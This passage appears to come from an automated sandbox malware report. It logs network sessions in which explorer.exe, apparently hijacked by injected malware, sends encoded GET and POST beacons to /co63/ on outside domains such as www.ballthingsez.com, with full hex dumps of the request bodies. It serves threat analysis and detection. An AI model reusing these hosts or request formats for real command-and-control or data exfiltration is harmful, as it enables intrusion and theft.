30 65 53 74 74 73 5a 34 59 49 51 72 43 34 38 68 43 57 7a 65 6b 67 50 6e 78 58 72 68 6b 30 6e 72 7a 79 6e 45 68 53 64 54 30 62 45 58 76 46 76 36 39 62 55 46 4c 35 7e 2d 77 63 33 51 4b 30 61 43 63 5a 46 5f 45 67 74 42 6f 79 4b 4b 55 33 79 4c 33 47 6d 4c 4a 37 69 54 5a 32 28 31 51 74 33 30 71 5f 77 4c 44 51 4b 71 7a 31 50 35 6c 4e 44 75 61 44 58 36 32 62 67 61 76 6a 6c 77 75 53 4e 38 77 67 6c 47 64 43 74 76 77 36 30 68 28 64 6c 78 4c 51 79 65 6b 68 61 72 63 37 38 6c 48 65 75 4c 52 43 51 4a 5a 48 70 57 53 49 28 57 38 7a 53 38 76 50 46 36 6e 39 50 4c 35 70 28 38 76 79 38 6f 6b 4d 39 35 6c 45 68 62 28 7a 76 64 48 30 58 39 35 5f 73 6d 4c 56 71 70 4b 6f 7e 5f 61 68 66 75 78 76 75 4a 7a 61 33 31 69 57 7a 76 49 4b 28 73 52 62 65 58 71 61 78 47 59 78 47 2d 54 54 4f 2d 42 42 4b 48 77 52 58 70 74 4a 4b 46 42 57 49 49 55 2d 49 76 30 65 31 45 78 47 47 74 6d 64 4f 6f 37 46 49 66 6b 34 6f 72 69 63 4f 52 46 57 74 6d 31 52 34 45 34 62 63 41 30 70 4a 74 68 70 41 33 5a 6c 74 31 41 74 69 55 30 73 28 51 66 30 62 75 36 58 68 63 31 51 67 50 6c 63 76 6e 5a 36 62 4d 6d 32 51 47 7e 6e 49 33 5a 43 76 78 44 33 33 32 4f 63 6e 4e 66 62 54 4c 4f 4b 31 33 70 4b 44 4e 45 30 37 34 65 37 56 44 34 65 75 65 37 47 74 41 58 51 4b 47 66 39 53 51 43 46 43 59 59 54 57 72 58 4d 59 52 38 73 4c 74 5a 55 64 31 4d 5f 72 6b 43 51 73 4c 67 4a 78 48 72 6f 71 47 4d 68 77 35 39 44 30 47 76 43 4a 31 5a 45 65 47 51 35 68 41 51 4f 57 73 7a 67 7e 42 4c 51 64 75 4e 6d 6c 70 43 62 7a 6f 5a 36 34 6f 73 47 53 4a 54 31 45 62 61 37 28 6f 63 66 4a 6f 7e 69 75 5a 47 5f 7a 45 68 4c 33 75 33 43 54 36 37 51 28 36 7a 62 32 33 59 48 42 47 48 5f 49 4b 72 30 69 61 53 5f 66 30 66 44 6b 5f 64 45 35 4d 65 75 5a 2d 59 53 28 2d 56 68 34 66 70 73 36 43 73 50 62 32 55 50 79 43 4a 63 79 70 61 54 54 4e 56 72 36 53 31 63 59 48 75 31 30 64 6f 44 6c 46 36 61 37 68 4a 2d 72 4b 4f 35 66 6b 4e 45 49 77 30 39 74 50 52 79 42 68 63 4d 4b 79 31 4b 4a 48 38 79 33 57 51 54 42 39 6e 38 65 4a 59 42 62 62 59 44 57 41 48 72 63 46 61 6d 6d 72 57 6d 50 63 6d 69 67 6e 52 76 49 6b 57 55 7a 62 74 4c 51 31 34 74 63 2d 28 69 46 69 30 77 59 72 58 77 31 46 4b 50 51 74 45 55 70 43 54 43 64 6f 56 6f 51 7a 67 62 33 30 50 6a 57 78 56 6d 70 49 78 6c 75 67 66 2d 4d 43 6d 54 72 75 59 69 73 58 6b 66 4e 6d 4e 6a 71 6a 45 45 76 67 79 52 6b 42 68 58 4e 58 35 74 4f 78 76 5a 4a 57 57 55 79 53 43 65 57 74 6e 48 6d 5f 6c 6b 79 6f 77 6f 32 5a 67 36 78 44 68 74 43 6f 35 67 4b 4b 7a 68 39 45 35 50 51 76 45 34 55 50 68 6d 6d 4b 71 37 62 43 47 4a 77 7a 32 55 54 7a 69 36 4b 69 32 5f 6c 42 33 34 47 73 67 5f 6e 33 7e 35 79 75 51 50 72 42 4e 4a 4a 76 59 68 63 32 33 54 4f 5f 62 71 Data Ascii: aJElwV=oPv6AtmNfZ~Md6ugZPSxSNIByf~469caXF4q(ZQCPBUbpyL_4-0EfgENbBiGT_ZtMV4e0Uae0tLlj5xVNMh-ZJnu7-wEgZcqSCDa3QVvrE5T20WgoZE6AKdIhI1bxWUpDJCQyfaGYT60D-j-~etF(V92KVWVazz9(pyGnB3tkeXuPliFfhJ9sbF3FsHOIgXq5LoBdWPVZKu9HWsAzNGT3WRHfBeTx5LQ4WvOSLchgpOhfA5bgXTYzjb06UuzVJj0b6JvVKlNI_h3iV6xtdIepG148CmGR1TNNLkLiQWaV7cf3qtV1fHkuDMQlM6RAbjQv-yD8l~BJXOqhl1a8gKLlfmarzQUxi5_yTn_r6RvTXV5X8nOa66FPyjctXnQlWL0epu-vS(dFAd3k9WQoAw8FhHM8qNUnLGy8345zfUWdG5ULBO8gog0j00HTEM460tCc256f-9rIevk314JmHEdbtXVTbtPh1j7H_gHo61RJ-0eSttsZ4YIQrC48hCWzekgPnxXrhk0nrzynEhSdT0bEXvFv69bUFL5~-wc3QK0aCcZF_EgtBoyKKU3yL3GmLJ7iTZ2(1Qt30q_wLDQKqz1P5lNDuaDX62bgavjlwuSN8wglGdCtvw60h(dlxLQyekharc78lHeuLRCQJZHpWSI(W8zS8vPF6n9PL5p(8vy8okM95lEhb(zvdH0X95_smLVqpKo~_ahfuxvuJza31iWzvIK(sRbeXqaxGYxG-TTO-BBKHwRXptJKFBWIIU-Iv0e1ExGGtmdOo7FIfk4oricORFWtm1R4E4bcA0pJthpA3Zlt1AtiU0s(Qf0bu6Xhc1QgPlcvnZ6bMm2QG~nI3ZCvxD332OcnNfbTLOK13pKDNE074e7VD4eue7GtAXQKGf9SQCFCYYTWrXMYR8sLtZUd1M_rkCQsLgJxHroqGMhw59D0GvCJ1ZEeGQ5hAQOWszg~BLQduNmlpCbzoZ64osGSJT1Eba7(ocfJo~iuZG_zEhL3u3CT67Q(6zb23YHBGH_IKr0iaS_f0fDk_dE5MeuZ-YS(-Vh4fps6CsPb2UPyCJcypaTTNVr6S1cYHu10doDlF6a7hJ-rKO5fkNEIw09tPRyBhcMKy1KJH8y3WQTB9n8eJYBbbYDWAHrcFammrWmPcmignRvIkWUzbtLQ14tc-(iFi0wYrXw1FKPQtEUpCTCdoVoQzgb30PjWxVmpIxlugf-MCmTruYisXkfNmNjqjEEvgyRkBhXNX5tOxvZJWWUySCeWtnHm_lkyowo2Zg6xDhtCo5gKKzh9E5PQvE4UPhmmKq7bCGJwz2UTzi6Ki2_lB34Gsg_n3~5yuQPrBNJJvYhc23TO_bqNLl0e09Lw8MrHkGCG_5FP9fuz9nB5dEUZKXuD95OpTJbiH(I9mcQoGu0kFQK02GzheqIv-5FSb3JGA9hbNo8(Yz22eOC~tDFwZQ2tCw8FkZAJBRjLcn5pb2Z0cCLLBxlwxh2ERh6Y_j4wOveaStvg-(Q~lF2PsIPvQ7G1R4QCAGaKniTA6Ni23ZhwGioa3xBqgque9irVacfZCSDKs3nt4qZ~O7OZ9WfVOarh25-LMltif6CrFS-J1YyBOlnH7ZhF9MPweIPr03dC34DsxSN8-~M0fn_HLA294nOkX(gT_IsZGnqegomgGUEDub48YIx3MgCY23sQUZq~zZvNe5DZ4vT5qyL9YXS(jMJPQmduqS4~nB-mDVDjzNnNoHtdLh_~0eZY45ydDxFyfzVmKQP(3r_BqhZW-5HL8rx99JqfaMAO14y7eBeB7ewk_vNKMZ0NdSxvc8dRXsYhdbw2v4dXIkC1LIlAf6vdiWARRjWpiBgU2Z6PM3FZQGhMMiyuiKxY1dk1V(K2ojQsR9j3NkBqbzIrdG1qGiXpeYQRX5mwlzp09o-m8tRyzdwlFMCNaCOwJNwy-~AigtV(JxiPplXBq(-86OejFNBDJ8Tey38ZfX0iJIb8nELxzwp9pHQWlIi6FOkkE3eGAzsVmI2VmJ3tG6zk9OqekvbqQolC7baZtHDPtuJ~2XFS_E8H3xSLqpRQzx0PjIeOHNwbYTeyPLIWIAJIihi7qtrk-3mge6MLd7Nj46mpn(OrewB9kt6oFwwuy40Q4vg(Grh7UxLEAqQGcUybbKiEWf3H9~z0eZX0wFz8hwMDDmaq8ghGoUqBcoUlURFkDkKZEuaoPyOCro3mx(ZWSKKrVDHiNJjzZBQIACmsWpb2SxX6JJPkaY7o2c64POBSgJcZTrvEDKLn8(aPz(M8ERzJ_J9W0ze5nZIVhjW4SosQZ0ml6hgxaSiiMK4vasHdf2SLSBlPh(OScWvo1XfstvuAZ(qOhAybLjszB(O(bVK6mJKM-efGlh9Qra-2_AHKDeW9XG8yUtn2Jx7(2W2dfjxtOi08Kytr5XkRuL7tcjnoMofLjy3zI1I2bphZAv4UME5g54AUxunRHZMCs7dbWtWWwkntJe4B7Wi~HVGm7FoRBboz389tiyIc53DgvgLbChIg5QYw6uyTO6O(-ZMPQAgHuf-xE5FppXWpSWl7Ywr2aVZ7YNVWm2VwUSGYKDd4peHXq8QyjzNDpWvGaz1W8y8EQ8-4mYZnprFGtNXwGfrO3i3EPXovJPMG-VU1VeRpA6_2FT0hxrxe1X_67qTb7CWxsD2Tf9U52OrbiQ6GNwENcs1F8GxQpHadQCqgWYhcLBOPOTfUUiXdaraU5JxzvF_KmvrQwDzDkxKnETewINIHUgxnUZzqLHkPsgQMSYNQmtkDM45urLX3PKRuOJau3JEa9ngsbyhlkOfA38OYXm0Nfah(1CJtbcSc9xV61lPH7lLt1FqNRLFmmZxaT16j0~mjwjvks3bP7oMTWTVrfTJtdt0~5vneVpTDKaoYpYk6IV1Ug2u2YMHRmlbWlgOkdmmnIEWzPpCiRSTana5gJRnQ8bweUGYrVCxq2yEO0YxxY7ObJHq6pew2hD75C5TbetqybIPxVXT7OaybOeW293prPXb4Wjzz2yfd8MGMa8hogD5kjx7(Wdsh9836pQH4TXH9mzoNjwOT2nR6rLCZNnKgJbzmROc5nIm(5WwW2ySow0yMv5rQ-iyZlVqcIWoxgDs93OjqOCGBqFu0kN3WQgrqaQMAQ8KLFY6l_1EhHSxGdVkLeax23aQcE3wGtwl(x(0evtN7fUM~Dy8QQCY3TRDATP8ufXI8HdRDAGGAmxEXZgHlgumUOQlRM9Pv44KMY4eGXoAh6EhJ6zN5XJAIwzLsVeh0A8WT1LCY80yld5oS7vmUGCzPN3Y4P1IG6gIjAcHybf97y1OX6Ck9I23NPvfKtTGP7jV67ZWpHhka5Cau1c5lyzPirgwxOHg2UxkEbdWrcrJTmDRtw4OOgDWe2(SK6jLnKtGfqZg~O524sdI1zXn212uNncC6SLOJJzUwKrfqJBsKn0p9IESecAzzObISznC5K8Gs-T2zKIi3yOxpE5-AnP1ORxWQvz6dwIvKB8rNFV-xLSlBQfN9XhO0C0FbEOGFNF_x3~5x4(7eiEOluE_AEAa2HjtvmoFXwDkMlr-TlnMZrreuptfgdflHvxS72MP5kZBFhikokATGLl5CoqAU8dxzUQKE_ATNXVK~T2zOlqQbrv1eZZ4VEUUT0k7HkrpS_ZRNtVrM8B3Nuw2Ho3q3SDCPdp57D~W28KrJYEepkzH0J2AObt7ycjnhkIk~QXbqgHEEmby55BBIrYe~jtfXjzb0q(WhFQRiMYkrukqQvVcA5kCONn02OwiJYOZitk7LLS-F0DkGqZsE9eeCFssUKMtIYqoppPXUS1h6nW-l4BaWKmMdFa20XpDcGEfZ2urNODSi2Sddr5kN-SzXyzgxU6upp6ZVm4z50Fn4_72WfkzhsRjZpisWl(7FlRw14Vx3e2LHRNdMjl_6LApZxvXb3XemFYvd0Zo~Sj4Y3aHWYauPld3jutp4f2aOWXwyhrAPvwvWA1DpG5qsUgxr6QBFNChlYDptSTzdzQ1i30U(WsKWhJpcN4T6hRlui(zuFhkF-Z3on~x0eTlipKJTl9DUaNK84EgRDWC6kbkQ2Px4P6enQb
Jul 20, 2023 11:44:52.849144936 CEST	190	OUT	Data Raw: 67 77 77 6e 7e 6f 4b 36 41 48 7e 51 6e 52 54 36 57 73 32 56 43 59 51 63 30 69 34 50 70 78 67 4c 64 77 7e 50 74 7a 75 47 49 56 49 67 66 70 59 38 6e 61 72 4a 70 6a 4f 34 4f 71 4d 37 38 37 78 5a 6f 43 4c 79 54 36 4f 6f 58 63 6f 78 6e 5a 68 49 65 35 Data Ascii: gwwn~oK6AH~QnRT6Ws2VCYQc0i4PpxgLdw~PtzuGIVIgfpY8narJpjO4OqM787xZoCLyT6OoXcoxnZhIe50to-aL0VO8jiZpJYoBOnvxxhE5nWFG2Sp1VMIAm16mzZXHaIIpGRhLO0OoM5GrZAm8i4EipUy5ir2tDu5MqdkiJde8yItKO_3j1vCZh-cht-Y1Y9iH8QyTod2Y2s5-anH30iBawbfihn0vGrFPN5pRYtJojpQkJJW
Jul 20, 2023 11:44:52.849256039 CEST	205	OUT	Data Raw: 54 76 6e 38 6b 75 32 46 34 44 30 53 76 5a 4d 53 4f 65 31 4d 53 72 79 6a 53 4b 64 31 6e 6b 5a 4a 47 66 65 38 51 79 31 52 28 74 58 6e 67 45 71 4b 33 4f 55 6e 74 4a 6b 62 64 65 7a 5a 4d 55 6b 5f 49 77 6a 78 35 58 69 48 73 47 28 54 58 4a 77 4c 55 37 Data Ascii: Tvn8ku2F4D0SvZMSOe1MSryjSKd1nkZJGfe8Qy1R(tXngEqK3OUntJkbdezZMUk_Iwjx5XiHsG(TXJwLU7u5w6RRZUVsS-1RUUa01BEzV9JY(GBul2X4cdIkZdkNrRYLWHPlJTKBSXBs29GDxI(HuTdlHrojHq7SBB0LUkZE4ZBBLej-PQQs1BlAEHp5LdBYEyMNzaIUguYWi1MmEP4-cfjFbahfNy26sLhv9UlJ0TviC1rRY6c
Jul 20, 2023 11:44:52.865852118 CEST	207	OUT	Data Raw: 64 52 5a 49 6f 43 6a 6c 28 34 4a 42 39 58 35 6c 54 41 32 6f 55 46 30 62 65 4c 67 45 76 72 37 61 42 44 52 2d 51 76 51 74 71 63 51 70 76 31 6f 56 69 2d 76 4e 4c 58 31 55 68 42 74 47 57 42 69 6c 4d 4f 74 64 4f 77 68 57 33 58 62 59 69 55 69 2d 59 51 Data Ascii: dRZIoCjl(4JB9X5lTA2oUF0beLgEvr7aBDR-QvQtqcQpv1oVi-vNLX1UhBtGWBilMOtdOwhW3XbYiUi-YQ9dEh25zxCfuczdTFxJEe(pJmo_af8g7TBD7S0gqLbiOH9cU3KlnUCEV9o-BsY5W_uKCABNwUkFy1tYLcNYY_4IgVg8ng8P7GdvhsmAqvFm8T4kpNNlu8BvDUUc4qwqKg96aRMtGl(F0By7enFS2SJ1tngF~Yx1XQS
Jul 20, 2023 11:44:52.865911961 CEST	225	OUT	Data Raw: 4d 4b 33 71 52 6b 36 6d 72 54 4e 36 63 73 48 72 73 55 7a 6b 47 56 61 45 75 36 62 6c 55 4b 56 4b 32 4a 49 7a 7a 6f 56 75 6a 64 72 71 77 6b 58 4b 7e 49 42 39 63 30 62 74 75 41 47 4f 38 47 28 4a 39 31 51 75 70 4a 6e 57 6b 31 6f 51 69 4e 5a 72 32 71 Data Ascii: MK3qRk6mrTN6csHrsUzkGVaEu6blUKVK2JIzzoVujdrqwkXK~IB9c0btuAGO8G(J91QupJnWk1oQiNZr2quSjrF7zaW82rVaQKERNl4VVoPXHT7FxiWkNak42HunUvGzN6Ru88AX7kSnZrEZHGrJTtl3Qx7fq8hwpkU734Yr4bTuDYj4XsxkNkyrzJ1-D-Yvfz89zmqKKhrbE-i6kmEEfhXRwTDMRuq5(vCm5vPKV3KQsxwOl2X
Jul 20, 2023 11:44:52.865966082 CEST	233	OUT	Data Raw: 53 34 32 6e 76 38 4f 71 56 4f 47 39 62 4b 7a 38 51 35 4b 32 70 30 73 76 51 34 53 57 73 59 34 67 59 42 63 4c 68 75 6b 32 65 48 51 64 73 38 34 42 50 30 35 34 4f 44 33 61 5a 30 52 5a 43 39 58 33 6c 77 64 32 59 46 61 31 55 73 37 64 39 79 41 74 46 4f Data Ascii: S42nv8OqVOG9bKz8Q5K2p0svQ4SWsY4gYBcLhuk2eHQds84BP054OD3aZ0RZC9X3lwd2YFa1Us7d9yAtFOLOcQymgtNVYnLoMaXZHc8fXvsTsDs-i7QbPP8Mx9oLrhHzwES3N6~0s5iRu9ktglUlrKjfuM4gpMe_0LQDV-SmjpWxZ6IeCVtzQbafc2bRDwmSZ8OJQmTEPvtYf74f2M6hU3BbsIQ6b2smoDNNnq(_Hh6qJaDZGSa
Jul 20, 2023 11:44:52.866013050 CEST	243	OUT	Data Raw: 45 6c 62 79 67 48 6c 5f 57 6d 54 45 68 6c 47 44 4c 43 39 64 47 62 69 66 59 50 76 54 6c 45 52 5a 78 36 65 37 72 62 71 51 79 77 6d 66 76 74 30 53 76 61 61 4a 77 78 5a 4d 55 7a 70 44 28 30 4a 71 34 30 6f 4f 62 44 70 42 72 43 47 38 62 4a 30 56 6e 51 Data Ascii: ElbygHl_WmTEhlGDLC9dGbifYPvTlERZx6e7rbqQywmfvt0SvaaJwxZMUzpD(0Jq40oObDpBrCG8bJ0VnQH2WkzvC2SRvwe3jVB06Foxv2F-wG(iBWJaCaTbnf(YwV(QMHSNnJNoFuxZ3m2kSIq8HijEf18KZX~W3OODLcUG4U3IjHDpZHj5LP0qyAQgi4(HeC8wECM1BQrQEKfSZC9i15W7J6MabkFfH2USCR4Lwi(1XTHuo2i
Jul 20, 2023 11:44:52.866069078 CEST	256	OUT	Data Raw: 7e 67 64 58 4a 47 33 59 44 6a 77 4d 43 72 68 36 5a 61 32 4c 66 79 72 6a 39 48 62 6a 74 50 6a 73 6f 76 4a 34 37 38 6c 71 35 57 49 34 48 78 4a 4f 4b 37 37 46 4b 62 54 39 7a 43 28 6e 67 6e 4f 64 6a 75 66 66 72 66 49 77 4a 58 28 4d 39 77 33 54 4b 37 Data Ascii: ~gdXJG3YDjwMCrh6Za2Lfyrj9HbjtPjsovJ478lq5WI4HxJOK77FKbT9zC(ngnOdjuffrfIwJX(M9w3TK7F8hK8BoqeNTyI7yZf462ymEKiMlKw1aob6vYGyxjSjO8PFN4Jg0xa-CHgjWdJGunLSriLTJ3cJB5trKSZbB8LJpyIuszsRvfI17BJVLQTSFaACY_TJc-rzzSI4R7z7PZKjHKt2x7GqJ9FewEM8~3WyDFknBVUmtpq
Jul 20, 2023 11:44:52.883641005 CEST	269	OUT	Data Raw: 61 6f 6b 52 44 30 66 30 66 42 41 6b 70 79 4b 39 36 4d 76 6a 69 59 78 61 4d 61 58 63 72 34 52 54 77 75 57 64 6e 58 45 70 35 78 61 78 33 37 67 56 55 71 4d 47 4b 56 6c 51 31 76 28 67 61 78 64 79 59 5f 72 62 51 6d 55 59 6b 46 69 34 45 69 48 62 4b 74 Data Ascii: aokRD0f0fBAkpyK96MvjiYxaMaXcr4RTwuWdnXEp5xax37gVUqMGKVlQ1v(gaxdyY_rbQmUYkFi4EiHbKtPvlieHZup2V7gibEutEGqsKa~OGStBirKQ53UUJaYB5RYT6HdHIl6xJirjapG6jyoYZjHRe7~VzLBV7cxQiTN5RGTWHHWw18DLx3(DiLrti2yS(_BQGRCihkrmd_EijhBvvFLvN_bswAsRBERo0ZeADAldMQGPh7Q
Jul 20, 2023 11:44:52.883697987 CEST	278	OUT	Data Raw: 77 4d 34 58 70 6a 70 46 79 43 76 6c 38 6e 52 36 58 6d 28 6d 39 78 4d 77 37 41 50 39 44 37 43 46 6b 51 76 44 42 37 28 45 6b 56 75 6c 45 32 75 57 50 31 79 76 39 57 63 64 57 6f 43 44 79 34 61 73 6e 41 71 66 64 6f 4f 37 4f 50 33 31 66 74 42 41 34 4e Data Ascii: wM4XpjpFyCvl8nR6Xm(m9xMw7AP9D7CFkQvDB7(EkVulE2uWP1yv9WcdWoCDy4asnAqfdoO7OP31ftBA4NKb6sSyrFxEO_YSQRd5kH8DEJTNOY~pBzzX0wiZZ_6JUl6MCAOPyiFVQizL0tINzRVPZtAMCOPxjUXzvM73cNoE6qhPy6mXuZr-ShzJ4CSvp8pK3QbjeKZ1gW4enZRhsCP1T1VCjfnwAhVed4qt~rAkLRf3O8g7K-y
Jul 20, 2023 11:44:52.883727074 CEST	281	OUT	Data Raw: 75 47 74 49 55 71 53 4b 4c 33 59 4e 59 74 4b 43 48 73 45 54 36 38 58 74 6b 72 4c 4a 31 52 4b 6a 4f 31 6e 76 4b 41 67 6c 79 4c 37 4b 31 6a 30 68 45 52 65 61 4e 48 59 75 46 77 62 31 74 59 70 70 61 64 6a 66 67 37 28 66 41 70 6d 71 65 5f 70 6e 28 57 Data Ascii: uGtIUqSKL3YNYtKCHsET68XtkrLJ1RKjO1nvKAglyL7K1j0hEReaNHYuFwb1tYppadjfg7(fApmqe_pn(WM8mU78oN5SLEnXbAX8V3bWs9nLdBs9ayBYEMudtb8yFO4ZYu1h1lZvNMmFF8f1XV02Jj6unN(m(2WdEWkkl26e~s14uvR5Ua380pykV7IEvVm3exE03gaXJrDVWwYkVfGTiJNK0rkiRAh1X14n1FgvszMvTnX3CBb
Jul 20, 2023 11:44:52.989120007 CEST	320	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 20 Jul 2023 09:44:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://www.saleschildcarriers.com/co63/ Strict-Transport-Security: max-age=31536000 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MZ1todhg5NFXftCSTWy%2ByfGV1HhCFjBoxb4G4Zd7UwAk%2FvEt2pZBMtWoP8Z%2Bm%2F3Efr4R4f7Z4I0%2B2Id8lQ%2FKvzG5LTGtBWgTdO83lsjrPiUCklufi4RbfCCowPgvC3IRJw1bWPzUlGeIa9vgWQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7e9a44a229bf91d1-FRA alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Jul 20, 2023 11:44:52.989137888 CEST	320	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49717	152.199.21.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:45:11.299627066 CEST	323	OUT	GET /co63/?aJElwV=dh5wnP7Ug0+YjaaSPNPjWLPMAAuifa570LEC5RUEdgVY9PwZv9hNJ3RIsZJs9uSwpSOZ&lz=9rXXjDMXIb6HXH- HTTP/1.1 Host: www.ballthingsez.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 20, 2023 11:45:11.370085001 CEST	323	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=iso-8859-1 Date: Thu, 20 Jul 2023 09:45:11 GMT Location: https://www.ballthingsez.com/co63/?aJElwV=dh5wnP7Ug0+YjaaSPNPjWLPMAAuifa570LEC5RUEdgVY9PwZv9hNJ3RIsZJs9uSwpSOZ&lz=9rXXjDMXIb6HXH- Server: Apache Content-Length: 341 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 61 6c 6c 74 68 69 6e 67 73 65 7a 2e 63 6f 6d 2f 63 6f 36 33 2f 3f 61 4a 45 6c 77 56 3d 64 68 35 77 6e 50 37 55 67 30 2b 59 6a 61 61 53 50 4e 50 6a 57 4c 50 4d 41 41 75 69 66 61 35 37 30 4c 45 43 35 52 55 45 64 67 56 59 39 50 77 5a 76 39 68 4e 4a 33 52 49 73 5a 4a 73 39 75 53 77 70 53 4f 5a 26 61 6d 70 3b 6c 7a 3d 39 72 58 58 6a 44 4d 58 49 62 36 48 58 48 2d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.ballthingsez.com/co63/?aJElwV=dh5wnP7Ug0+YjaaSPNPjWLPMAAuifa570LEC5RUEdgVY9PwZv9hNJ3RIsZJs9uSwpSOZ&lz=9rXXjDMXIb6HXH-">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49718	152.199.21.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:45:13.389787912 CEST	326	OUT	POST /co63/ HTTP/1.1 Host: www.ballthingsez.com Connection: close Content-Length: 1484 Cache-Control: no-cache Origin: http://www.ballthingsez.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.ballthingsez.com/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 56 44 31 4b 35 70 54 42 74 7a 33 73 69 4a 62 7a 65 4c 62 5f 47 50 28 53 46 78 65 66 50 37 78 68 6b 65 56 35 70 77 4d 39 56 54 56 76 39 76 6b 35 70 34 6b 76 4f 7a 6f 76 30 62 70 68 76 4d 75 4c 28 30 61 48 47 6b 28 64 62 58 50 73 31 48 34 36 39 6c 78 57 35 7a 4e 64 62 4d 6d 34 38 42 5a 6a 46 61 41 45 28 33 71 4f 31 6f 46 58 68 50 66 32 32 4b 5a 36 34 65 6b 68 53 6a 62 53 31 72 66 77 6c 67 7e 34 50 74 49 72 46 5f 47 43 74 68 34 6c 41 46 6a 71 30 4a 28 6a 58 4b 4a 35 4f 49 4d 6f 6d 62 6c 53 37 69 39 61 71 50 43 73 73 65 65 71 6b 43 4a 65 52 73 59 7a 47 56 4c 4a 4e 58 66 59 52 75 36 33 32 53 30 6b 62 55 6f 42 59 68 67 68 50 36 33 51 6d 35 4b 5f 4b 38 6c 43 44 45 33 34 4a 53 46 6e 53 61 71 69 53 50 6f 46 4e 32 68 6a 31 4d 31 48 45 2d 50 61 4b 4a 6a 36 57 49 70 41 50 49 35 6e 28 33 79 4c 39 53 7a 5a 53 55 63 4c 76 46 28 74 49 43 6d 79 62 5f 4f 50 51 38 37 48 77 36 4e 33 45 45 47 7a 71 69 28 35 55 62 44 42 28 6b 65 4b 72 72 4f 51 33 78 48 6d 59 77 57 4c 6d 32 35 65 53 51 4f 6a 7e 63 41 56 65 53 31 6c 5a 4c 64 58 70 33 73 44 66 63 4f 31 4e 73 44 35 48 71 58 72 31 44 30 5f 67 48 6d 69 4a 52 67 35 4f 61 51 61 43 30 4f 7a 42 76 75 37 4e 49 6c 6d 6e 61 58 61 46 79 55 32 38 6f 62 6a 51 31 4a 41 34 47 6e 46 38 64 56 39 62 33 37 52 6b 4c 76 77 43 71 44 4f 4a 7a 69 44 49 4c 66 4a 47 41 4e 35 41 61 37 42 70 56 73 77 45 78 4d 39 43 36 50 34 4e 4e 4e 57 75 54 34 39 39 75 5a 35 28 57 56 4e 72 38 59 53 35 73 54 6f 7a 30 58 51 78 31 74 43 4e 74 6d 39 61 5a 35 30 79 66 49 35 47 71 5a 33 51 61 73 39 68 44 74 76 28 6c 41 38 35 44 75 43 4c 45 4d 41 77 77 74 5f 4b 59 77 55 50 55 64 6c 72 75 67 56 6d 33 50 4a 4e 33 54 77 59 33 4f 4b 65 77 62 73 65 37 63 37 7e 32 45 54 66 56 42 75 43 53 42 57 62 66 71 6b 6f 4c 50 43 67 62 79 49 76 63 6e 38 4f 34 4b 55 41 35 45 64 53 67 61 78 76 36 59 38 30 74 59 36 42 76 67 34 43 35 7a 65 59 4a 42 6c 63 72 7a 58 74 74 49 73 50 50 38 66 68 74 6d 6d 62 61 4d 54 37 6a 56 44 66 7a 7a 5f 38 36 54 67 28 66 46 31 45 49 7a 48 4f 7a 28 72 7e 6e 6e 58 71 31 79 57 50 72 6b 6a 76 41 77 69 6d 6e 33 7a 38 4a 71 4a 74 36 6e 54 47 5a 4a 2d 35 6c 56 30 45 39 7a 63 30 74 44 43 4d 69 39 58 54 41 28 44 39 30 48 2d 4c 49 38 5a 64 38 62 38 52 37 4a 48 52 